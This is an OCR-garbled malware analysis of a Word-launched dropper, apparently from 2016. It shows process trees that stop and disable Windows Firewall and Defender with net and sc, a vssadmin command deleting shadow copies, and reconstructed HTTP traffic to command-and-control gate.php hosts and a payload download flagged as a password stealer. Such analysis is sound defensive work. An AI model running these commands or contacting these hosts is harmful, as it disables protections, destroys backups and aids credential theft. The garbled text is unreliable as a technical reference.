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Image File
@ BonsSoft
BonsSoft
Version:  3.9.1.2
Build Time: Tue Sep 27 18:48:58 2016

Path:
C:\Jsers\Hugo\AppDiata\Local {Templor 219.exe

Command line:
"C:Wsers\Hugo\AppDatalLocal{Templor219.exe”™
Current directory:
C:\Jsers\Hugo'\Desktop),
Autostart Location:

nfa

Parent:  WINWORD.EXE(392)
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1. net.exe = netl. exe #-windows 73f# X 3§ MpsSvc & B B > @

sc.exe 2 B BB Vi MpsSve enp v fc* 5 5t o

exe (12987 icr... WIN-... cmd.exe /o net stop MpaSwve
Cinet.exe (4064) icr... WIN-... net stop MpaSwe
oometliexe (7800 icr... WIN-... C:A\lindowshsveteni2inet! | stop MpaSwve
Eggond. exe (23047 icr... WIN-... cmd.exe /o ac confie MpeSve start= disabled
Jigciene (2748) fcr... WIN-... sc config MpeSve start= disabled

2. net. exe fvnetl. exe #-Windows p 2 0 WinDefender # & B B > @
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sc.exe #WinDefend 2 p o fx* B P o

= xﬁcmd exe (26447 icr... WIN-... cnd.exe /¢ net stop WinDefend
net.exe (37600 icr... WIN-... net stop WinDefend

netl.exe (1064) icr... WIN-... C:\Windows'ayaten32inetl stop WinDefend
SgEond. exe (2560) icr... WIN-... end.exe /c gc config WinDefend start= dizabled
eciexe (40407 icr... WIN-... &c config WinDefend start= disabled
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netl.exe (2596 icr... WIN-... C:\Windowahayetend2inet] @top waceve
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10. ¢ or219.exe B ¢ #1 "= FRBRIrBERR G OERE > 58

vssadmin. exe delete shadows £dp 4
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02:10:22 Removed System TCP 140. :49359
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02:10:22 Removed System UDP :::60765 i
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49358, Target 178.208.78.195 : 80 )
614:10 7 Payload Size 1,633 bytes

POST /hfgate.php HTTP/1.1

Accept: */*

accept-Encoding: none

accept-Language: en-US.g=0.8

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0
; SLCC2, .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

Host: wetomoof.ru

Content-Length: 108

Connection: Keep-Alive

Cache-Control: no-cache

q06] 8h5GmBmQeYKq4L0q1X8 5cYLxomTgMX8R_bnd4ar% 2cFzQIqHeLSS_ypR1iEY1AOI]WzW_C48GLrvT
nvM1gS1zMLWH3WE_SAz5T1jA—

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Thu, 29 Sep 2016 06:10:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.45
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NetWitne ss Reconstruction for session ID: 274 ( Source 140. 149363, Target 178.
9/2016 14:10-30 to 9/29/2016 14:10:31 Packet Size 1,507 bytes Payload Size 811 bytes
o0 ion o Lo PR Mot Mloel Ly oio D ~ 9

-

Time 9/2
0.

POST | fzapoy/gate.php HTTP/1.0 )
Host: sorolgoteveng.com

Accept: */*

Accept-Encoding: identity, *;g=0

Accept-Language: en-US

Content-Length: 205

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozi1lla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0
; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
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NetWitness Reconstruction for session ID: 6316 ( Source 140. 149359, Target 149.5

ZO](.\ ]4 10:19 ;20](.\ 14:10:22 Packet Size 75,301 hyn:s Pay\cxad Size 70,301 bytes
GET /wp-content/themes/twentyfourteen/jsfpm.dll HTTP/1.1 A
Accept: */*

accept-Encoding: none

accept-Langnage: en-US.q=0.8

Content-Type: application/x-www-form-urlencoded

Cache-Control: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0
; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

Host: modajuvenil.info

Connection: Close

HTTP/1.1 200 CK

Date: Thu, 29 Sep 2016 06:10:21 GNT

Server: Apache

Last-Modified: Wed, 28 Sep 2016 10:32:08 GMT
Accept-Ranges: bytes

Content-Length: 69632

Connection: close

Content-Type: application/x-msdownload

NZ@ B /549156 !This program cannot be run in DOS mode.
SPELEAE V@ |2 TE@FTEE0| @.text € ~.rdatafl@d@.dataT=@S!F€.relocl0
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AlYac Generic. PWS 2. 25D1AFF5 20160930
AVG PSW Generic13.FFK 20161003
AVware Trojan. Win32.Fareit ] (fs) 20161003
Ad-Aware Generic. PWS.2 25D1AFF5 20161003
AegisLab Troj.W32.Gen IDfK 20161003
AhnLab-V3 Trojan/Win32.Tepfer. N2119227706 20161002
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NetWitness Reconstruction for session ID: 6

] '49' 61, Target 89.44.47.181 :80)
Time ¢ 6 141 14 1 5

GET Il1branesl]mnlalfllesystem’amhwelmst exe HTTP/1.1

Accept: *J¥

accept-Encoding: nomne

accept-Language: en-US.qg=0.8

Content-Type: application/x-www-form-urlencoded

Cache-Control: mo-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOWA4; Trident/4.0
; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

Host: protoileriaploiesti.ro

Connection: Close

HTTP/1.1 404 Not Found
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html
Content-Length: 1148
Date: Thu, 29 Sep 2016 06:10:24 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: close

., max-age=0
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Za ot net.exe * netl.exe Sc.exe
or219.exe Stop WinDefend WinDefend start=disabled
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net.exe * netl.exe Sc.exe
Stop MpsSvc MpsSvc start=disabled
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